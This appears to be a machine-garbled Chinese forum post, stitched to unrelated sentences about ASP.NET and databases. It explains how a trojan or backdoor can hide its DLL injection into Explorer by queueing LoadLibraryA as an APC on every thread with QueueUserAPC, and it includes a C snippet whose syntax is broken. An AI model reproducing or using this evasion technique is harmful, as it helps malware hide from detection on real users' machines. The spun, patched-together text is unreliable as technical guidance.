|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
在经过全球个人PC市场占有90%的微软对asp.net不断优化与整合后,asp.net与微软自身平台的动用上更加的高效,加上asp.net在应用上非常容易上手,相信asp.net仍会是最多客户选用的脚本语言,并会在未来几年继续领跑。向一个运转中的历程注进本人的代码,最天然莫过于利用CreateRemoteThread,
现在远线程注进已是众多成灾,一样的监测远线程注进、避免远线程注进的工具也
不胜枚举,一个木马或后门启动时向Explorer或IE的注进操纵就像在本人脸上写上
“我是贼”一样。
用户态代码想要更潜伏地躲身于其余历程,就应当在注进的环节潜伏本人的行
为。上面就先容一种十分复杂不外对照暴力的办法,给出的示例为在Explorer里加
载本人的dll。
起首提到的就是一个API:QueueUserAPC
DWORDQueueUserAPC(
PAPCFUNCpfnAPC,//APCfunction
HANDLEhThread,//handletothread
ULONG_PTRdwData//APCfunctionparameter
;
人人对这个API应当其实不生疏,它间接转进了体系服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的方针线程的APC行列拔出一APC工具。倘使KiDeliverApc
顺遂的往机关apc情况并实行我们的代码那统统就OK了,只惋惜没有那末顺遂的事,
ApcState中UserApcPending是不是为TRUE有主要的影响,了局常常是你比及花儿都谢了
你的代码仍是没失掉实行。在中心态常常不成成绩,本人下手赋值,但是用户态
程序可欠好做,怎样办?实在最复杂的,欠好做就不做孟低橙ジ伞
实践上使用程序在哀求“alertable”的守候时体系就会置UserApcPending为
TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
利用TestForAlertPending时就有大概,别的另有KeTestAlertThread等,时机仍是有的
),最复杂的例子,方针线程挪用SleepEx(***,TRUE)后我们拔出APC代码就会乖乖执
行了。
对照侥幸的是Explorer历程中一样平常情形下总有合我们意的线程,因而最复杂但其实不
幽美的举措就是列举Explorer中一切线程,全数拔出,表示以下:
......
DWORDret;
char*DllName="c:MyDll.dll";
intlen=strlen(DllName)+1;
PVOIDparam=VirtualAllocEx(hProcess,NULL,len,
MEM_COMMIT|MEM_TOP_DOWN,
PAGE_READWRITE);
if(param!=NULL)
{
if(WriteProcessMemory(hProcess,param,
(LPVOID)DllName,len,&ret))
{
for(DWORDp=0;p<NumberOfThreads;p++)
{
hThread=OpenThread(THREAD_ALL_ACCESS,0,ThreadId[p]);
if(hThread!=0)
{
InjectDll(hProcess,hThread,(DWORD)param);
CloseHandle(hThread);
}
}
}
......
个中InjectDll:
voidInjectDll(HANDLEhProcess,HANDLEhThread,DWORDparam)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll","LoadLibraryA",
hThread,
(DWORD)param
;
}
LoadLibraryA被挪用后行将你的DLL加载进方针历程Explorer,运转是在方针历程的某
个线程情况中,一样平常你的DLL能够这时候创立本人的线程。
如许,全部历程固然有些暴力(缘故原由很分明,好比底本UserApcPending为TRUE的线程
被弄成了FALSE等等),而且仅是一次性拔出,缺点是分明的,不外拔出历程切实其实更加潜伏。
针对利用这类的“无耻”办法的程序,检/监测程序就必要增添一些判别,好比对
NtQueueApcThread的公道监测等等。
偶然候,那些最陈旧的木马假装的好反而不简单被杀。。。什么叫数据库怎么样?什么意思?你想单学数据库。(其实变成是我问的) |
|